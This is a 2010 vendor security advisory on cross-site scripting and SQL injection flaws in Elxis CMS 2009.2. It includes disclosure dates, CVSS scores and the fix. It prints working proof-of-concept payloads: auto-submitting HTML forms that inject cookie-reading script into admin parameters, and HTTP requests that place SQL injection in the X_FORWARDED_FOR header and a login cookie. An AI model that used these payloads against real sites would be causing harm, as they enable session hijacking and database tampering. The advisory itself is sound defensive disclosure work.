Multiple Vulnerabilities in Elxis CMS
Advisory ID: | HTB22614 |
Product: | Elxis CMS |
Vendor: | Elxis Team |
Vulnerable Versions: | 2009.2 electra rev2631 and probably prior |
Tested Version: | 2009.2 electra rev2631 |
Advisory Publication: | September 20, 2010 [without technical details] |
Vendor Notification: | September 20, 2010 |
Public Disclosure: | October 4, 2010 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] SQL Injection [CWE-89] |
Risk Level: | High |
| |
CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Elxis CMS which could be exploited to perform cross-site scripting and SQL injection attacks.
1) Cross-site scripting (XSS) vulnerabilities in Elxis CMS The vulnerability exists due to input sanitation error in the "search", "misc" and "title" parameters in administrator/index2.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access to administrative interface. Exploitation examples: <form action="http://host/administrator/index2.php" method="post" name="main" > <input type="hidden" name="search" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="filter_logged" value="0" /> <input type="hidden" name="filter_enabled" value="-1" /> <input type="hidden" name="filter_type" value="Super Administrator" /> <input type="hidden" name="filter_expired" value="-1" /> <input type="hidden" name="limit" value="20" /> <input type="hidden" name="limitstart" value="0" /> <input type="hidden" name="option" value="com_users" /> <input type="hidden" name="task" value="" /> <input type="hidden" name="boxchecked" value="0" /> <input type="hidden" name="hidemainmenu" value="0" /> </form> <script> document.main.submit(); </script> <form action="http://host/administrator/index2.php" method="post" name="main" > <input type="hidden" name="catid" value="1" /> <input type="hidden" name="user_id" value="0" /> <input type="hidden" name="name" value="My Name" /> <input type="hidden" name="seotitle" value="sef-url" /> <input type="hidden" name="con_position" value="Website manager" /> <input type="hidden" name="email_to" value="webmaster@example.com" /> <input type="hidden" name="address" value="My address" /> <input type="hidden" name="suburb" value="city" /> <input type="hidden" name="state" value="reg" /> <input type="hidden" name="country" value="country" /> <input type="hidden" name="postcode" value="12345" /> <input type="hidden" name="telephone" value="123" /> <input type="hidden" name="fax" value="123" /> <input type="hidden" name="misc" value='hello"><script>alert(document.cookie)</script>' /> <input type="hidden" name="default_con" value="1" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="ordering" value="1" /> <input type="hidden" name="access" value="29" /> <input type="hidden" name="image" value="asterisk.png" /> <input type="hidden" name="params[menu_image]" value="-1" /><input type="hidden" name="params[menu_image_only]" value="0" /><input type="hidden" name="params[pageclass_sfx]" value="" /><input type="hidden" name="params[print]" value="" /><input type="hidden" name="params[back_button]" value="" /><input type="hidden" name="params[name]" value="1" /><input type="hidden" name="params[position]" value="1" /><input type="hidden" name="params[email]" value="0" /><input type="hidden" name="params[street_address]" value="1" /><input type="hidden" name="params[suburb]" value="1" /><input type="hidden" name="params[state]" value="1" /><input type="hidden" name="params[country]" value="1" /><input type="hidden" name="params[postcode]" value="1" /><input type="hidden" name="params[telephone]" value="1" /><input type="hidden" name="params[fax]" value="1" /><input type="hidden" name="params[misc]" value="1" /><input type="hidden" name="params[vcard]" value="1" /><input type="hidden" name="params[image]" value="1" /><input type="hidden" name="params[email_description]" value="1" /><input type="hidden" name="params[email_description_text]" value="" /><input type="hidden" name="params[email_form]" value="1" /><input type="hidden" name="params[email_copy]" value="1" /><input type="hidden" name="params[drop_down]" value="0" /><input type="hidden" name="params[contact_icons]" value="1" /><input type="hidden" name="params[icon_address]" value="" /><input type="hidden" name="params[icon_email]" value="" /><input type="hidden" name="params[icon_telephone]" value="" /><input type="hidden" name="params[icon_fax]" value="" /><input type="hidden" name="params[icon_misc]" value="" /> <input type="hidden" name="option" value="com_contact" /> <input type="hidden" name="id" value="1" /> <input type="hidden" name="task" value="save" /> </form> <script> document.main.submit(); </script> <form action="http://host/administrator/index2.php" method="post" name="main" > <input type="hidden" name="title" value='Polls"><script>alert(document.cookie)</script>' /> <input type="hidden" name="showtitle" value="1" /> <input type="hidden" name="position" value="right" /> <input type="hidden" name="languages[]" value="" /> <input type="hidden" name="access" value="29" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="params[cache]" value="0" /> <input type="hidden" name="params[moduleclass_sfx]" value="" /> <input type="hidden" name="selections[]" value="0" /> <input type="hidden" name="option" value="com_modules" /> <input type="hidden" name="id" value="1" /> <input type="hidden" name="original" value="1" /> <input type="hidden" name="module" value="mod_poll" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="client_id" value="0" /> </form> <script> document.main.submit(); </script>
2) SQL injection vulnerabilities in Elxis CMS 2.1 The vulnerability exists due to input sanitation error in the HTTP X_FORWARDED_FOR header in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database. Exploitation example: POST /index.php?option=com_poll&Itemid=17 HTTP/1.1 X_FORWARDED_FOR: 123'SQL_CODE_HERE Content-Type: application/x-www-form-urlencoded Content-Length: 66 voteid=1&option=com_poll&task=vote&id=1&Itemid=17&task_button=Vote 2.2 The vulnerability exists due to input sanitation error in the "usercookie[password]" cookie in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database. Exploitation example: GET /index.php HTTP/1.1 Cookie: usercookie[username]=username; usercookie[password]=123'SQL_CODE_HERE |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to version Elxis 2009.3. |
|
References: |
[1] High-Tech Bridge Advisory HTB22614 - https://www.immuniweb.com/advisory/HTB22614 - Multiple Vulnerabilities in Elxis CMS [2] Elxis CMS - elxis.org - Elxis CMS is an open source content management system. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.